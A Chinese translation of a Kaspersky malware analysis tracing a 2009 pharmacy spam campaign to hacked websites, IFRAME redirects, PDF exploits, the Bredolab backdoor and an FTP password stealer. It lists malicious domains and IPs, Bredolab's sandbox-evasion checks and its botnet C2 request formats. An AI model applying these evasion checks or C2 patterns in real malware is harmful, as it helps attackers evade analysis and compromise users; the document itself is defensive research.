网络罪犯的“造币工厂”


Sergey Golovanov
Igor Soumenkov

        本文详细研究了一种垃圾邮件,并且阐述了今天的网络罪犯创建僵尸网络和发布大量垃圾邮件所采用的方法。网络罪犯们所采用的方法和技术很显然是非法的,他们只有一个目的,即为网络罪犯获取经济利益。

垃圾邮件

        2009年春季初,卡巴斯基实验室的内容过滤实验室接收到一封电子邮件,初看上去,这封邮件就是一封典型的垃圾邮件,内容是销售药品,而且此邮件使用了变种的垃圾邮件格式,包含HTML以及嵌入式的图片:


被发送到webmaster@viruslist.com的垃圾邮件样本

        但是,这种邮件却有一种特殊的属性,使得它从其他垃圾邮件中脱颖而出。因为,这种邮件中的链接指向的不是邮件中商品广告和销售网站,而是一些合法的包含HTML网页的网站。

        虽然不同邮件中的链接指向的域名有所不同,但其指向服务器的路径完全相同,都是:“1/2/3/4/buy.html。”

 новое окно
邮件中包含的指向合法网站链接的源代码

        所有被指向的网页都包含一个具有一行代码的HTML文件,并且具有一个页面定时刷新元标识。这个标识会将用户重新定向到一个不同的网址,在本例中,被重新定向到的网址是垃圾邮件中办函的药品销售网站。


将用户重新定向到垃圾邮件发布者定义的网址的网页所包含的源代码

 новое окно
用户被重新定向到的网站

        有一种检测垃圾邮件的方法是建立一个黑名单,其中包含垃圾邮件信息中指向的各个域名。这样就可以检测到一次大规模的垃圾邮件传播的所有垃圾邮件,不管这些垃圾邮件中包含的信息是什么。而在本例中,由于垃圾邮件信息中指向的域名是合法的域名,所以就不能被黑名单所拦截。不仅如此,卡巴斯基实验室的分析人员每天还会发现有10个新加入的合法域名。虽然这种躲避垃圾邮件过滤器的方法垃圾邮件发布者已经使用多年了,但他们一般不会使用此方法,因为这样要比购买新的域名开销更大。

        所以,很有可能这些合法网站已经被网络罪犯所攻陷,然后用于将用户重新定向的广告网址。但当时我们还不清楚网络罪犯是如何攻陷如此数量庞大的网站。

网站

        大部分这些合法网站使用普通方法不可能攻陷。对被攻陷资源进行初步分析时,我们也没有发现任何普遍存在的漏洞。而且,创建这些网站所使用的技术也并不相同。不仅如此,大多数网站都是HTML网页,没有任何脚本。唯一值得关注的是这些被攻陷的网站都存在一个文件夹,其中有一个名称为“buy.html”的文件。这个文件中包含HTML标签,可以将用户定向到垃圾邮件发布者销售药品的在线商店。

        但经过深度分析,我们发现被攻陷的网站都隐藏着一个IFRAME,会将访问网站的用户重新定向到一个名为b9g.ru的网站。这是一个非常危险的信号,因为IFRAME可以指向可疑网站,经常被网络罪犯用来通过漏洞感染计算机。

 новое окно
被攻陷的网站

        经过分析发现,b9g.ru这个域名拥有5个不同的IP地址,为别为:

77.37.20.130
90.156.144.78
77.37.19.173
77.37.19.179
and 77.37.19.205.

        通过收集信息,我们发现这些域名确实是注册到这些地址,这使得我们可以确定那些用来在被攻陷网站中放置IFRAME的域名,分别包括:a31.ru, b5r.ru, b5z.ru, b7p.ru, b8o.ru, b9g.ru, c6y.ru, c8k.at, f5l.at, f5x.at 等。这进一步确认了我们的怀疑,即在被攻陷网站上发现的IFRAME确实具有安全隐患。

漏洞利用程序

        接下来,要确定到底用户计算机从http://b9g.ru:****/*****.php下载了什么内容到本地。正如我们所预料的一样,访问该网站后,一个漏洞利用程序会跟index.php一同被下载到用户计算机。网络罪犯使用了一系列的软件漏洞,但针对PDF漏洞的漏洞利用程序所造成的风险最大。

 новое окно

 новое окно
加密和未加密的index.php文件

僵尸程序

        通过利用漏洞,一个名为Backdoor.Win32.Bredolab的后面恶意程序就会被下载到计算机上。该恶意程序采用了rootkit技术,能够下载和安装其他恶意程序。

 новое окно
Rookit下载器的部分内存转储

        Bredolab后门程序会检查下列条件,避免自身被在沙盒中运行:

  • 用户名是否可疑,例如:USER, user, CurrentUser, Sandbox 等
  • 计算机名称是否为SANDBOX
  • 在注册表目录HKLM\HARDWARE\Description\System\SystemBiosVersion下是否有一个VBOX的串值
  • HKLM\Microsoft\Windows\CurrentVersion下是否有下列产品ID键值:
    • 55274-640-2673064-23950 (JoeBox)
    • 76487-644-3177037-23510 (CWSandbox)
    • 76487-337-8429955-22614 (Anubis)

        如果上述任何条件有一条满足,此恶意成特许就会停止运行。

         Bredolab后门程序如果检测到被感染计算机上安装了COMODO防火墙软件,也会停止运行。

        否则,Bredolab后门程序就会将自身拷贝到%Temp%\~TM27FB4A.TMP,同时将自身代码注入explorer.exe进程,重新开启一个进程并将自身转移到%Temp%\~TM%TempName%。这样,僵尸程序就会在此进程中运行,而原来的进程则会被终止。

        一旦僵尸程序成功连接到僵尸网络控制中心,就会发送一个GET请求:

        GET /l/controller.php?action=bot&entity_list={numbers separated by commas} &uid=11&first={0|1}&guid={VolumeSerialNumber}&rnd=6293712

        服务器作为回应,会返回一些加密的程序到僵尸程序。这些加密的程序能够哦被写入到一个新的文件中,即%Windows%\Temp\wpv%rand_number%.exe。然后,这个文件会被自动执行,或者被注入到新创建的svhost进程中。

 новое окно
从僵尸网络控制总新返回的加密信息示例

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 06 Jul 2009 17:08:22 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: PHP/5.1.6
Version: 1
Content-Length: 55709
Entity-Info: 1241530597:32768:1;1246898982:22941:2;
Rnd: 982101
Magic-Number:
32|1|187:55:66:132:143:54:243:114:97:146:132:5:192:141:199:113:160:130:101:
167:50:61:32:107:127:128:84:144:169:61:158:100:…

        僵尸网络控制中心的响应。解密的密匙即Magic Number区的内容。

        僵尸程序会通过发送一个GET请求,将自身的行为通知僵尸网络拥有者:
GET /l/controller.php?action=report&guid=0&rnd=6293712&uid=11& entity={number:unique_start|
unique_failed|repeat_start|repeat_failed;number:...}

窃取密码的木马

        僵尸程序连接到控制中心后,会自动下载和安装Trojan-PSW.Win32.Agent.mzh木马到受感染计算机。这种木马会窃取FTP客户端的密码。

 новое окно
        加密了的用于窃取FTP客户端密码的木马代码

        窃取到的FTP密码会被发送到以下地址:

 новое окно
被窃密码所发送到的服务器的位置

        情况非常明显。网络犯罪并非想要使用SQL注入或者利用漏洞攻击等方法攻陷很多网站,他们真正的目标仅仅是要窃取FTP客户端密码,从而达到控制网站内容的目的。

        关于Trojan-PSW.Win32.Agent.mzh木马,有人在一些黑客论坛上声称创建了一种窃取网站密码的系统,而此木马正是该系统的一部分。并且此系统可以花2000美元购买到。

下载其他恶意程序

        一星期后,网络僵尸控制中心发出命令,下载僵尸程序,用以发送垃圾邮件。这些僵尸程序中包含知名的Rustock(Backdoor.Win32.HareBot)和Pushdo (Backdoor.Win32.NewRest.aq)。

        又一个星期过去后,Koobface家族的恶意程序以及一些劫持反病毒软件的恶意程序也会被安装到受感染的计算机上。

攻击计划

        这项研究起始于发送到webmaster@viruslist.com的一封垃圾邮件,最后却揭示出网络罪犯是如何运作的,如下:

 новое окно
攻击网站和发送垃圾邮件所采用的各个步骤

        这个系统演示出网络罪犯常用的各种创建僵尸网络用于发送垃圾邮件的技术:

  1. 攻陷合法的网络资源
  2. 在被攻陷的网站上放置网页,将浏览者重定向到垃圾邮件广告网站
  3. 在被攻陷网站上放置指向漏洞利用程序的链接
  4. 将因访问被攻陷网站而受感染的计算机组建成僵尸网络
  5. 从受感染计算机上窃取网站的密码
  6. 下载垃圾邮件僵尸程序用于发布大量垃圾邮件,下载其他恶意程序到受感染计算机
        这些方法确保所有步骤顺利进行,在网络罪犯理想的状态下,可以形成一个良性循环。

结论

        发送包含有指向被攻陷或被感染网站链接的垃圾邮件是网络罪犯经常使用的伎俩。我们每小时都可以截获到几十个新增的被攻陷的网站地址。


示例:包含有指向被攻陷网站链接的垃圾邮件

 новое окно
垃圾邮件的HTML部分源代码

        这个链接(http://.../1.html)指向被攻陷网站上的一个网页,其中包含一个标签,会将浏览者重新定向到销售药品的在线商店。

        垃圾邮件发布者会在大范围不同种类的垃圾邮件中使用上述策略,还可以更改被重新定向的网页名称,并且功过IFRAME传播大量漏洞利用程序。但不管网络罪犯采取何种技术,其最终目的都是唯一的,那就是获利。

补充…

        今年七月份,有消息说Torrentreactor网站被黑客攻陷。网络罪犯利用标签将浏览网站的用户重新定向到一个包含漏洞利用程序的网站。很明显,这次网络攻击中使用的恶意程序是用于窃取FTP密码的。

 новое окно
被攻陷的Torrentreactor.net部分代码(截图请查阅此处)

        这只是很多相似的网络攻击案例中的一个。